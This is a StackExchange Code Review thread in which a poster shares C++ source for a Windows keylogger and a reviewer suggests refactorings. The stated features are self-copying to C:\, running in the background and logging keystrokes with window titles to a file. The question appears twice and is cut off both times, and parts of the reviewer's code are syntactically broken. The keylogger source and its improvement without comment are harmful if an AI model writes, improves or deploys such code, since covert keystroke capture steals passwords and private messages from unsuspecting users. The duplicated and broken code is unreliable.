patterncppMinor
Windows Keylogger
Viewed 0 times
keyloggerwindowsstackoverflow
Problem
I am newbie (here and in C/C++ - WinAPI) so I want to ask you, what you think about my Windows Keylogger in C++? I've worked on it a few days.
Features of keylogger for now:
My questions:
h3wroKeylogger.cpp
```
#include
#include
#include
#include
#include
#include
HWND hCurrentWindow;
char sWindowTitle[256];
bool is_capslock = false;
int iBackspaceCounter = 0;
int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
time_t t = time(0);
if (hCurrentWindow != GetForegroundWindow())
{
hCurrentWindow = GetForegroundWindow();
char title[256];
GetWindowTextA(hCurrentWindow, title, sizeof(title));
sLogs += "";
sLogs += asctime(localtime(&t));
sLogs += "Window name: ";
sLogs += title;
sLogs += "]";
}
if ((GetAsyncKeyState(VK_CAPITAL) & 0x0001) != 0) {
is_capslock = true;
}
switch (key) {
case 1:
return 0;
break;
case 2:
return 0;
break;
//-----------------------------------------------------------------------
//End of mouse
//-----------------------------------------------------------------------
case 96:
iBackspaceCounter = 0;
sLogs += "0";
break;
case 97:
iBackspaceCounter = 0;
sLogs += "1";
break;
case 98:
iBackspaceCounter = 0;
sLogs += "2";
break;
case 99:
iBackspaceCounter = 0;
sLogs += "3";
break;
case 100:
iBackspaceCounter = 0;
sLogs += "4";
break;
case 101:
iBackspaceCounter = 0;
sLogs += "5";
break;
case 102:
iBackspaceCounter = 0;
sLogs += "6";
break;
case 103:
iBackspaceCounter = 0;
sLogs += "7";
break;
case 104:
iBackspaceCounter = 0;
sLogs += "8";
break;
case 105:
iBackspaceCounter = 0;
sLogs +=
Features of keylogger for now:
- Self-copying to C:\ directory
- Saving keystrokes to an .html file
- Working in background
My questions:
- Are names of variables are correct?
- What can I do to improve getting foreground window (actually not always works)?
h3wroKeylogger.cpp
```
#include
#include
#include
#include
#include
#include
HWND hCurrentWindow;
char sWindowTitle[256];
bool is_capslock = false;
int iBackspaceCounter = 0;
int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
time_t t = time(0);
if (hCurrentWindow != GetForegroundWindow())
{
hCurrentWindow = GetForegroundWindow();
char title[256];
GetWindowTextA(hCurrentWindow, title, sizeof(title));
sLogs += "";
sLogs += asctime(localtime(&t));
sLogs += "Window name: ";
sLogs += title;
sLogs += "]";
}
if ((GetAsyncKeyState(VK_CAPITAL) & 0x0001) != 0) {
is_capslock = true;
}
switch (key) {
case 1:
return 0;
break;
case 2:
return 0;
break;
//-----------------------------------------------------------------------
//End of mouse
//-----------------------------------------------------------------------
case 96:
iBackspaceCounter = 0;
sLogs += "0";
break;
case 97:
iBackspaceCounter = 0;
sLogs += "1";
break;
case 98:
iBackspaceCounter = 0;
sLogs += "2";
break;
case 99:
iBackspaceCounter = 0;
sLogs += "3";
break;
case 100:
iBackspaceCounter = 0;
sLogs += "4";
break;
case 101:
iBackspaceCounter = 0;
sLogs += "5";
break;
case 102:
iBackspaceCounter = 0;
sLogs += "6";
break;
case 103:
iBackspaceCounter = 0;
sLogs += "7";
break;
case 104:
iBackspaceCounter = 0;
sLogs += "8";
break;
case 105:
iBackspaceCounter = 0;
sLogs +=
Solution
A few thoughts:
Code that appears within a function scope should be indented by another set of spaces (tab):
=>
While that would work in your particular case, it's considered bad practice. Especially when you move out your code to separate header files.
See more details here please:
Why is “using namespace std;” considered bad practice?
Also, you're prefixing your standard classes in use with
Instead of using global variables, encapsulate your stateful data in a class:
Opening and closing
With the above mentioned class approach, you could make
In the
Such kind of code is hard to read and maintain consistently.
Also I've seen that you're repeating a lot of boiler plate code, for numerous cases, e.g.:
A better approach would be probably to setup a small interface and a set of concrete implementations that handle particular keystrokes uniformely:
The various key handler implementations could be used in your key logger class like so:
```
class MyKeylogger {
std::vector keyStrokeHandlers;
MyKeyLogger() {
keyStrokeHandlers.push_back(std::make_unique());
keyStrokeHandlers.push_back(std::make_unique());
keyStrokeHandlers.push_back(std::make_unique(iBackspaceCounter));
}
int save(int key)
{
// ...
for(const auto& keyStrokeHandler : keyStroke
- Fix your formatting
Code that appears within a function scope should be indented by another set of spaces (tab):
int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
// ...
}=>
int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
// ...
}- Do not use
using namespace std;
While that would work in your particular case, it's considered bad practice. Especially when you move out your code to separate header files.
See more details here please:
Why is “using namespace std;” considered bad practice?
Also, you're prefixing your standard classes in use with
std:: anyways.- C++ offers classes, use them
Instead of using global variables, encapsulate your stateful data in a class:
class MyKeyLogger {
HWND hCurrentWindow;
char sWindowTitle[256];
bool is_capslock = false;
int iBackspaceCounter = 0;
public:
int save(int key);
};- Use
ofstreamefficiently
Opening and closing
out_file on every keystroke looks extremely inefficient for me.With the above mentioned class approach, you could make
out_file a member variable, and initialize it once in the constructor:class MyKeyLogger {
// ...
std::ofstream out_file;
public:
MyKeyLogger(std::string logfilename = "logs.html") {
out_file.open(logfilename , std::ios_base::app);
}
// ...
};In the
save() function, it's enough to call out_file.flush(); to update the file then, instead of closing the stream.- Avoid large
switch()statements /if() else if()cascades
Such kind of code is hard to read and maintain consistently.
Also I've seen that you're repeating a lot of boiler plate code, for numerous cases, e.g.:
case 66:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "B";
}
else
sLogs += "b";
break;
// ...
case 68:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "D";
}
else
sLogs += "d";
break;A better approach would be probably to setup a small interface and a set of concrete implementations that handle particular keystrokes uniformely:
struct IKeyStrokeHandler {
virtual ~IKeyStrokeHandler() {}
bool handlesKey(int key) const = 0;
std::string doKeyTranslation(int key) const = 0;
};// Partial implementation
class AbstractKeyStrokeHandler : public IKeyStrokeHandler {
class Key;
std::map handledKeys_;
protected:
struct Key {
string standardRepresentation;
string shiftRepresentation;
};
AbstractKeyStrokeHandler(const std::map& handledKeys)
: handledKeys_(handledKeys) {
}
public:
bool handlesKey(int key) {
return (handledKeys_.find(key) != handledKeys_.end());
}
// Retrieve the mapped values accordigly
std::string doKeyTranslation(int key) const {
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
return handledKeys_[key].shiftRepresentation;
}
return handledKeys_[key].standardRepresentation;
}
};// A concrete implemetation for simple key translations
class SimpleKeyStrokeHandler : public AbstractKeyStrokeHandler {
public:
SimpleKeyStrokeHandler() : AbstractKeyStrokeHandler(
std::map{
{66, {"b", "B"},
{68, {"d", "D"},
} )
{}
};// Mouse key handler
class MouseKeyStrokeHandler : public AbstractKeyStrokeHandler {
public:
MouseKeyStrokeHandler () : AbstractKeyStrokeHandler(
std::map{
{0, {"", ""},
{1, {"", ""},
} )
{}
};// Special key handler
class SpecialKeyStrokeHandler : public AbstractKeyStrokeHandler {
int& iBackSpaceCounter_;
public:
SpecialKeyStrokeHandler(int& iBackSpaceCounter)
: AbstractKeyStrokeHandler(
std::map{
{96, {"0", "0"},
{97, {"1", "1"},
// ...
{105, {"9", "9"},
} ),
, iBackSpaceCounter_(iBackSpaceCounter)
{}
std::string doKeyTranslation(int key) const {
iBackSpaceCounter_ = 0;
return AbstractKeyStrokeHandler::doKeyTranslation(key);
};The various key handler implementations could be used in your key logger class like so:
```
class MyKeylogger {
std::vector keyStrokeHandlers;
MyKeyLogger() {
keyStrokeHandlers.push_back(std::make_unique());
keyStrokeHandlers.push_back(std::make_unique());
keyStrokeHandlers.push_back(std::make_unique(iBackspaceCounter));
}
int save(int key)
{
// ...
for(const auto& keyStrokeHandler : keyStroke
Code Snippets
int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
// ...
}int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
// ...
}class MyKeyLogger {
HWND hCurrentWindow;
char sWindowTitle[256];
bool is_capslock = false;
int iBackspaceCounter = 0;
public:
int save(int key);
};class MyKeyLogger {
// ...
std::ofstream out_file;
public:
MyKeyLogger(std::string logfilename = "logs.html") {
out_file.open(logfilename , std::ios_base::app);
}
// ...
};case 66:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "B";
}
else
sLogs += "b";
break;
// ...
case 68:
iBackspaceCounter = 0;
if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
sLogs += "D";
}
else
sLogs += "d";
break;Context
StackExchange Code Review Q#153668, answer score: 8
Revisions (0)
No revisions yet.